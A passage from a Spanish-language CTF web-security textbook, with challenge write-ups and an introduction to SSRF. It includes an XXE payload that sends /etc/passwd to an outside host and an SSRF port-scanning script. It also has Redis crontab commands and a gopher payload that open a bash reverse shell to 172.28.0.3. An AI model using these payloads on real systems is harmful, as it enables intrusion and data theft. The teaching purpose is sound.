Otro concurso distintivo de lectura de archivos y presentación de efectos es la Competición de la Universidad de Correos y Telecomunicaciones de Nanjing en 2018, que desafió el uso de PHP para generar imágenes de manera dinámica. El contenido leído por la vulnerabilidad de lectura de archivos puede adjuntarse a la imagen durante la explotación. Ver Figura 1.90.
1.3.3.11 PrintMD (RealWorldCTF 2018 en línea) 【Introducción】 La función proporcionada por el desafío puede renderizar el contenido del editor en línea Markdown (hackmd) en una forma imprimible. Los métodos de renderización se dividen en renderización local del lado del cliente y renderización remota del lado del servidor.
El cliente puede realizar la depuración local, y el código para la parte de renderización remota del servidor es el siguiente:
// render.js
const { Router } = require('address');
const { matchesUA } = require('browserslist-useragent');
const router = Router();
const axios = require('axios');
const md = require('... /.. /plugins/md_srv');

router.post('/render', function (req, res, next) {
let ret = {};
ret.ssr = !matchesUA(req.body.ua, {
browsers: ["last 1 version", "> 1%", "IE 10"],
_allowHigherVersions: true
});

if (ret.ssr) {
axios(req.body.url).then(r => {
ret.mdbody = md.render(r.data);
res.json(ret);
});
} else {
ret.mdbody = md.render('# Please wait...');
res.json(ret);
}
});

module.exports = router;

El entorno Docker existe en el servidor, y el servicio Docker se ha iniciado.
La ruta de la bandera en el servidor es /f l ag.

【Dificultad】 Difícil.
【Conocimiento】 Polución de prototipos de JavaScript; Ataque SSRF (Socket UNIX) en la API de Docker para leer archivos locales.
【Resolución del desafío】 Auditar el código del lado del cliente que está ofuscado por Webpack, encontrar la lógica relacionada con la comunicación del lado del servidor en la aplicación y desofuscar el código ofuscado. El código fuente obtenido es el siguiente:
validate: function(e) {
  return e.query.url && e.query.url.starsWith("https://hackmd.io/");
},
asyncData: function(ctx) {
  if (!ctx.query.url.endsWith("/download")) {
    ctx.query.url += "/download";
  }
  ctx.query.ua = ctx.req.headers["user-agent"] || "";
  return axios.post("/api/render", qs.stringify({...ctx.query}))
    .then(function(e) {
      return { ...e.data, url: ctx.query.url };
    });
},
mounted: function() {
  if (!this.ssr) {
    axios(this.url).then(function(t) {
      this.mdbody = md.render(t.data);
    });
  }
}
Luego, usa la polución de parámetros HTTP para evadir las restricciones de startsWith y, al mismo tiempo, utiliza la polución de prototipos en req.body.url (servidor), para que el servidor Axios se pase al parámetro socketPath y url cuando se realiza la solicitud. Luego, aprovecha la vulnerabilidad de SSRF para atacar la API de Docker, trae /f l ag al contenedor de Docker y llama a la API de Docker para leer los archivos en Docker.

El proceso de ataque específico es el siguiente:

Extrae una imagen liviana: docker pull alpine:latest
Crea un contenedor: docker create -v /f l ag:/f l agindocker alpine --entrypoint "/bin/sh" --name ctf alpine:latest
Inicia el contenedor: docker start ctf
Recupera el archivo de la bandera dentro del contenedor: docker cp ctf:/f l agindocker ./flag.txt
【Resumen】 El desafío es muy delicado y novedoso. Debido a que Axios no admite el protocolo File, los jugadores deben usar SSRF para controlar otras aplicaciones en el servidor y leer archivos. Similar al módulo Axios, que puede llevar a cabo comunicaciones a través de Socket UNIX, también existe el componente curl.
1.3.3.12 El descuidado Jia Jia (PWNHUB) 【Introducción】 La entrada es un servicio de Drupal. Al recopilar información, se descubre que el servicio FTP está abierto en el puerto 23 del servidor y que tiene una contraseña débil. Después de usar la contraseña débil para iniciar sesión en FTP, se encuentra el código fuente de un complemento de Drupal en el directorio FTP y hay una vulnerabilidad de inyección SQL en el complemento de Drupal. También había una computadora con Windows en la intranet y el puerto 80 (servicio web) estaba abierto.
【Dificultad】 Moderada.
【Conocimiento】 Ataque de Padding Oracle; Vulnerabilidad de deserialización de Drupal 8.x; Técnicas de explotación especiales para Inclusión de Archivos/lectura de archivos locales en PHP de Windows.
【Resolución del desafío】 Según la pista del desafío, se intenta crackear violentamente la contraseña de inicio de sesión FTP y se descubre que FTP tiene una contraseña de inicio de sesión débil. Al auditar el código fuente del complemento descargado, se revela una vulnerabilidad de inyección SQL. Sin embargo, la entrada del usuario debe ser descifrada en modo AES-CBC antes de incorporarse a las declaraciones SQL.
private function set_decrypt($id) {
  if ($c = base64_decode(base64_decode($id))) {
    if ($iv = substr($c, 0, 16)) {
      if ($pass = substr($c, 17)) {
        if ($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {
          return $u;
        } else {
          die("hacker?");
        }
      } else {
        return 1;
      }
    } else {
      return 1;
    }
  } else {
    return 1;
  }
}



public function get_by_id(Request $request) {
  $nid = $request->get('id');
  $nid = $this->set_decrypt($nid);
  //echo $nid;
  $this->waf($nid);
  $query = db_query("SELECT nid, title, body_value FROM node_f i eld_data left JOIN node__body ON node_f i eld_data.nid=node__body.entity_id WHERE nid = {$nid}")->fetchAssoc();
  return array(
    '#title' => $this->t($query['title']),
    '#markup' => '<p>' . $this->t($query['body_value']) . ' </p>',
  );
}
Al auditar el proceso de encriptación, se descubrió que el texto secreto de la declaración de inyección SQL podría ser falsificado mediante un ataque de Padding Oracle, ver Figura 1.91, y la vulnerabilidad de inyección SQL continuó siendo explotada para obtener el buzón de correo y la contraseña del buzón de correo del usuario, ver Figura 1.92.
Usando la información del buzón para iniciar sesión, obtenemos la dirección filtrada en línea filtrada en el buzón, la abrimos para restaurar la versión histórica y encontramos la contraseña del administrador. La contraseña del administrador recuperada se utiliza para iniciar sesión en el sistema administrativo de Drupal, y la información en el sistema administrativo determina la versión correspondiente de Drupal, y se encuentra una vulnerabilidad de deserialización. El resultado de construir una carga deserializada para ejecutar la función phpinfo se muestra en la Figura 1.93.

Después de obtener el permiso para ejecutar códigos arbitrarios, se puede escanear la intranet y se encuentra un host de Windows con un servicio web que incluye una vulnerabilidad de lectura de archivos. Continúe probando y encuentre un cierto WAF, es decir, los archivos con nombres de archivos peligrosos no se pueden cargar. Use "<" como comodín de nombre de archivo para evadir el WAF, como "123333<.txt".

【Resumen】 El Ataque de Padding Oracle es un ataque común de seguridad web combinado con criptografía, que necesita ser aprendido. Los archivos PHP de Windows pueden ser incluidos/leídos usando comodines, una técnica para leer archivos cuando no conocemos el nombre del archivo en el directorio o cuando el WAF ha establecido ciertas reglas para interceptarlo. Las reglas de comodín correspondientes son las siguientes: en Windows, ">" es equivalente al comodín regular "?", "<" es equivalente a "*", """ es equivalente a ".".



1.3.3.13 Instituciones educativas 【Introducción】 El servidor del desafío tiene un cuadro de comentarios. El cuadro de comentarios admite sintaxis XML, que puede causar XXE; la mitad de las banderas se almacenan en el archivo de configuración; hay un servicio web en la intranet.

【Dificultad】 Moderada.
【Conocimiento】 Usar la vulnerabilidad XXE para leer archivos y realizar ataques SSRF.


【Resolución del desafío】 Al escanear el directorio de la aplicación del sitio web, se descubrió que el archivo .idea/workspace.xml del sitio web podía filtrarse, y en workspace.xml, había un párrafo de variables de entidad XML que estaba comentado.
El desafío solo tiene un punto de entrada, el comentario, por lo que probamos si existe una vulnerabilidad XXE (entrada XML de encabezado "<?xml version¼“1.0” encoding¼“utf-8”?>", se puede observar un error en la respuesta), ver Figura 1.94.
La existencia de la vulnerabilidad XXE se confirma básicamente por la función simplexml_load_string que se muestra en el mensaje de error correspondiente, y luego se intenta construir una llamada de entidad remota para implementar la explotación ciega de XXE. Los datos del exploit construido son los siguientes:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>"> %int; %trick;
Según el mensaje de error al probar la existencia de XXE, se puede encontrar la ubicación del directorio web, leer el código fuente de la aplicación web utilizando la vulnerabilidad XXE y encontrar que la mitad del contenido de la bandera existe en el archivo conf i g.php.
#/var/www/52dandan.cc/public_html/config.php <?php ...
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
...
?>
#youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431 Ok, tienes la primera parte de la bandera: 5bdd3b0ba1fcb40. Luego puedes hacer más cosas para obtener más partes de la bandera. Luego puedes buscar la otra mitad de la bandera y fallar. Luego adivinamos que la otra mitad de la bandera está en la intranet, por lo que podemos leer /etc/host y /proc/net/arp para obtener la IP de la intranet: 192.168.223.18.
Explotando la vulnerabilidad XXE para acceder al puerto 80 de 192.168.223.18 (también puedes hacer un escaneo de puertos, solo adivina los puertos comunes aquí), se encuentra un servicio web y una inyección SQL en el host 192.168.223.18. Usa la inyección ciega para obtener la otra mitad de la bandera.

```xml
<!ENTITY % payload SYSTEM "http://192.168.223.18/test.php?shop=3'-(case%a0when((1)like(1))then(0)else(1)end)-'1">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>">
%int;
%trick;
【Resumen】 Este desafío examina el método de lectura de archivos y utilización de la vulnerabilidad de XXE en PHP. El protocolo admitido por la extensión XML de diferentes lenguajes puede ser diferente. PHP retiene de manera muy distintiva el protocolo PHP, por lo que se puede usar el filtro Base64 para codificar el contenido del archivo y evitar que la explotación ciega de XXE falle debido a caracteres especiales como "&" y "<", lo que puede llevar al fallo en la explotación de la vulnerabilidad.
1.3.3.14 Túnel Mágico (RealworldCTF 2018) 【Introducción】 Usando el marco de trabajo Django para construir un servicio web que utiliza pycurl para solicitar enlaces entrantes de los usuarios. El código fuente para la sección de enlaces de la solicitud es el siguiente.
...
def download(self, url):
  try:
    c = pycurl.Curl()
    c.setopt(pycurl.URL, url)
    c.setopt(pycurl.TIMEOUT, 10)
    response = c.perform_rb()
    c.close()
  except pycurl.error:
    response = b''
  return response

【Dificultad】 Difícil.
【Conocimiento】 Ataque en uwsgi a través de una vulnerabilidad SSRF.
【Resolución del desafío】 Para leer el archivo:///proc/mounts a través de la vulnerabilidad de lectura de archivos, puede ver el estado de montaje del directorio Docker, como se muestra en la Figura 1.95. Después de encontrar con éxito el directorio, se puede leer el código fuente completo de la aplicación a través de la vulnerabilidad de lectura de archivos.
#! /bin/sh
BASE_DIR=$(pwd)
. /manage.py collectstatic --no-input
. /manage.py migrate --no-input
exec uwsgi --socket 0.0.0.0:8000 --module rwctf.wsgi --chdir ${BASE_DIR} --uid nobody --gid nogroup --cheaper-algo spare --cheaper 2 --cheaper-initial 4 --workers 10 --cheaper-step 1
Ataque uwsgi aprovechando el protocolo Gopher a través de una vulnerabilidad SSRF (inyectar SCRIPT_NAME para ejecutar scripts Python maliciosos o usar EXEC para ejecutar comandos del sistema).

【Resumen】 Este desafío necesita leer cualquier archivo a través del protocolo File para completar la recopilación de información en el servidor, es decir, filtrar la ruta de la aplicación a través de /proc/mounts, para saber qué archivo leer en el siguiente paso.
1.3.3.15 ¿Puedes Encontrarme? (WHUCTF 2019) 【Introducción】 Hay una evidente vulnerabilidad de inclusión de archivos en el desafío, pero la información conocida es la ruta relativa de la bandera... /.. /flag, y se encuentra un WAF al explotar la vulnerabilidad de inclusión de archivos, que prohíbe el salto de rutas relativas.
<?php
error_reporting(0);
$file_name = @$_GET['file'];
if (preg_match('/\.\.\//', $file_name) !== 0) {
  die("<h1> Los nombres de archivo no pueden tener '...' </h1>");
}
...
【Dificultad】 Fácil.
【Conocimiento】 Vulnerabilidades de lectura de archivos.
【Resolución del desafío】 Encuentra el directorio web leyendo el archivo de configuración de Apache. Ver Figura 1.96. Una vez que se conoce el directorio web, se puede construir la ruta absoluta del archivo de la bandera directamente desde el directorio web para evadir la restricción de ruta relativa y leer la bandera, ver Figura 1.97.
【Resumen】 Este es un desafío clásico de lectura de archivos. Examina principalmente la capacidad de los jugadores para recopilar información sobre archivos de configuración web. Debes encontrar directorios web leyendo archivos de configuración de Apache. Al construir rutas absolutas, puedes evadir las restricciones de rutas relativas para obtener el archivo de la bandera.
Resumen:

Entre los desafíos web de CTF, las vulnerabilidades más comunes y fundamentales incluyen la recopilación de información, la inyección SQL y las vulnerabilidades de lectura de archivos arbitrarios. Al enfrentar desafíos de tipo web en competencias, es recomendable primero determinar si las vulnerabilidades web mencionadas anteriormente están presentes en el desafío y luego proceder a completarlo.

Los capítulos 2 y 3 presentarán otras vulnerabilidades comunes que caen en los niveles "avanzado" y "extendido" en los desafíos web. Las vulnerabilidades en el nivel "avanzado" requieren que los lectores tengan una base y experiencia sólidas, involucrando vulnerabilidades más complejas y aspectos técnicos. El nivel "extendido" abarca características adicionales relacionadas con los desafíos web, como problemas de seguridad en Python.
A través del estudio del Capítulo 1, es posible que hayas obtenido una comprensión básica de los desafíos web. Sin embargo, en las competencias reales, los desafíos a menudo están compuestos por múltiples vulnerabilidades, y las vulnerabilidades web mencionadas en el Capítulo 1 a menudo son la parte introductoria de algunos desafíos complejos. Por ejemplo, se obtiene la 
contraseña del sistema backend mediante inyección SQL, y existen vulnerabilidades de carga en el sistema backend. Cómo eludir la carga de un webshell para obtener la bandera se convierte en la clave.

Este capítulo presentará a los lectores cuatro tipos de vulnerabilidades web con diversas técnicas de explotación y alta frecuencia de aparición en competencias: vulnerabilidades SSRF, vulnerabilidades de ejecución de comandos, vulnerabilidades XSS y vulnerabilidades de carga de archivos. Espero que los lectores puedan reflexionar
sobre cómo encontrar vulnerabilidades "avanzadas" después de descubrir vulnerabilidades "introductorias" en el proceso de aprendizaje de este capítulo. Comprender las causas y consecuencias de estas vulnerabilidades nos permite comprender mejor estas vulnerabilidades "avanzadas". Tal conexión y combinación también contribuyen a la formación de ideas para resolver desafíos web.

2.1 Vulnerabilidades SSRF Las vulnerabilidades SSRF (Server Side Request Forgery) son una vulnerabilidad que permite
a un atacante forjar una solicitud en el lado del servidor mediante la construcción de una entrada. Debido a que las solicitudes se originan internamente, las vulnerabilidades SSRF generalmente apuntan a sistemas internos inaccesibles desde fuera de la red.

Las vulnerabilidades SSRF a menudo ocurren porque el lado del servidor puede recuperar datos de servicios externos pero no filtra ni restringe parámetros esenciales como direcciones de destino y protocolos, lo que permite a un atacante construir parámetros e iniciar solicitudes no anticipadas libremente.
2.1.1 Análisis del Principio de SSRF La estructura de la URL es la siguiente.
URI = esquema:[//autoridad]ruta[?consulta][#fragmento] El componente de autoridad se divide en las siguientes tres partes (ver Figura 2.1).
[userinfo@]anfitrión[:puerto] 
Un esquema consta de una cadena de caracteres insensibles a mayúsculas y minúsculas que representan el protocolo necesario para obtener un recurso.
En la autoridad, userinfo se encuentra con menos frecuencia. Es una opción, pero HTTP generalmente utiliza formas anónimas para recuperar datos, y si se requiere autenticación, el formato es nombre de usuario:contraseña, terminando con @.

El anfitrión indica el servidor en el que se accede al recurso, generalmente visto en forma de nombres de dominio, como baidu.com, pero también en forma de direcciones IPv4, IPv6.
El puerto es el puerto del servidor. Cada protocolo tiene un puerto predeterminado, como el 80 para HTTP y el 21 para FTP.

La ruta es la ruta al recurso, generalmente usando "/" para la jerarquía.

Una consulta es una cadena de consulta que el usuario pasa al servidor como datos de entrada de usuario, representados por "?" como una representación. Por ejemplo, el nombre de usuario y la contraseña pasados al servidor son "?nombre de usuario=admin&contraseña=admin123"
Un fragmento es un identificador de fragmento que, a diferencia de una consulta, no se pasa al servidor y generalmente se utiliza para representar un punto de anclaje en una página.

Comprender la construcción de URL puede ser muy útil para comprender cómo eludir y cómo explotarlas.

Tomemos PHP como ejemplo, supongamos que hay un servicio que solicita una imagen remota y la muestra de la siguiente manera.


<?php $url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$res = curl_exec($ch);
header('content-type: image/png');
curl_close($ch);
echo $res;
?> 
Si el parámetro URL es la dirección de una imagen, la imagen se imprimirá directamente, ver Figura 2.2.


Sin embargo, dado que el parámetro URL para obtener la dirección de la imagen no se filtra de ninguna manera, un atacante puede lanzar un ataque SSRF modificando la dirección o el protocolo. Por ejemplo, modificar la URL solicitada a f i le:///etc/passwd utilizará el protocolo FILE para leer el contenido del archivo /etc/passwd (el tipo más común de ataque),
ver Figura 2.3.



2.1.2 Encontrar y Probar Vulnerabilidades SSRF Las vulnerabilidades SSRF generalmente se encuentran en escenarios donde hay llamadas a recursos externos, como funciones de uso compartido de servicios sociales, servicios de reconocimiento de imágenes, servicios de captura de sitios web, solicitudes de recursos remotos (por ejemplo, xmlrpc.php de WordPress), servicios de procesamiento de
archivos (por ejemplo, análisis XML), etc. Al probar aplicaciones con vulnerabilidades SSRF, puedes intentar controlar y admitir protocolos estándar, que incluyen, pero no se limitan a, los siguientes.
• f i le://: Obtener el contenido de un archivo del sistema de archivos, como f i le:///etc/passwd.
• dict://: El protocolo del servidor de diccionario permite al cliente acceder a más fuentes de diccionario. La versión del servicio que se ejecuta en el servidor objetivo se puede obtener en SSRF, ver Figura 2.4.



• gopher://: El servicio de entrega de
documentos distribuidos desempeña un papel esencial en los ataques de vulnerabilidad SSRF. Al usar el protocolo Gopher, es posible enviar contenido arbitrario al servidor especificado controlando la URL de acceso, como solicitud HTTP, solicitud MySQL, etc. Por lo tanto, su superficie de ataque es amplia.

2.1.3 Modo de Ataque de Vulnerabilidad SSRF 2.1.3.1 Detección de Activos de Servicio Interno Una vulnerabilidad SSRF puede detectar directamente la apertura de un puerto del servidor o incluso activos de intranet donde se encuentra un sitio web. Si se determina que existe una vulnerabilidad SSRF, se puede determinar la apertura del servicio al determinar el éxito o el fracaso de la solicitud devuelta. Por ejemplo, se puede escribir un exploit simple en Python.
encoding: utf-8
import requests as req
import time

ports = ['80', '3306', '6379', '8080', '8000']
session = req.Session()

for i in range(255):
ip = '192.168.80.%d' % i
for port in ports:
url = 'http://example.com/?url=http://%s:%s' % (ip, port)
try:
res = session.get(url, timeout=3)
if len(res.content) > 0:
print(ip, port, 'is open')
except:
continue

print('DONE')

Los resultados de la ejecución se muestran en la Figura 2.5.
2.1.3.2 Ampliación de la Superficie de Ataque Utilizando el Protocolo Gopher

Ataque a Redis
Redis generalmente se ejecuta en una intranet y la mayoría de los usuarios lo vinculan a 127.0.0.1:6379, que generalmente está vacío. Un atacante que obtenga acceso no autorizado a Redis a través de una vulnerabilidad SSRF puede ser capaz de agregar, verificar, eliminar o cambiar el contenido de Redis, e incluso escribir en Crontab, Webshell y claves públicas de SSH utilizando la función de exportación (el 
propietario del archivo escrito utilizando la función de exportación es el usuario de inicio de Redis, que generalmente es root, y no podrá hacerlo si el usuario de inicio tiene privilegios bajos) (Ataque).
Si una instrucción es incorrecta, leerá la siguiente, por lo que si puedes controlar una de las líneas en el mensaje que envías, puedes modificarla a una instrucción de Redis y ejecutar la instrucción en lotes para completar el ataque. Si puedes controlar varias líneas de mensajes, entonces puedes completar el ataque en una sola conexión.
En un ataque a Redis, generalmente un write para rebotar el shell de Crontab, el flujo de ataque habitual es el siguiente:
redis-cli f l ushall echo -e "\n\n\n*/1 * * * * bash -i /dev/tcp/172.28.0.3/1234 0>&1\n\n" | redis-cli -x set 1
redis-cli conf i g set dir /var/spool/cron/
redis-cli conf i g set dbf i lename root
redis-cli save
En este punto, usamos socat para recuperar el paquete con el siguiente comando:
scoat -v tcp-listen:1234,fork tcp-connect:localhost:6379

Reenviando el puerto local 1234 al puerto 6379 y luego ejecutando las instrucciones del proceso de ataque, a su vez, obtendrá los datos del ataque, ver Figura 2.6.
Luego, convierte los datos en URLs del protocolo Gopher descartando los datos que comienzan con “>” y “<”, que indican la solicitud y el retorno, y descartando los datos +OK, que indican el mensaje de retorno. En los datos restantes, reemplaza “\r” con “%0d” y “\n” (un salto de línea) con “%0a”, donde “$” está codificado en URL para dar la siguiente cadena.

1%0d%0a%248%0d%0af l ushall%0d%0a3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2456%0d%0a
%0a%0a*/1%20*%20*%20*%20bash%20-i%20&gt&%20/dev/tcp/172.28.0.3/1234%200>&1%0a%0a%0d%0a%0a%0a4%0d%0a%246%0d%0aconf i g%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2416%0d%0a/var/spool/cron/%0d%0a4%0d%0a%246%0d%0aconf i g%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbf i lename%0d%0a%244%0d%0aroot%0d%0a*1%0d%0a%244%0d%0asave%0d%0a

Si deseas cambiar la IP y el puerto de rebote directamente en esta cadena, debes cambiar el “$56” precedente al mismo tiempo, donde “56” es la longitud del comando escrito en Crontab. Por ejemplo, la cadena sería d\n\n*/1 * * * * bash -i >& /dev/tcp/172.28.0.3/1234 0>&1 d\n\n Para cambiar la IP de rebote a 172.28.0.33, debes cambiar “56” a “57” (56+1).



Comentarios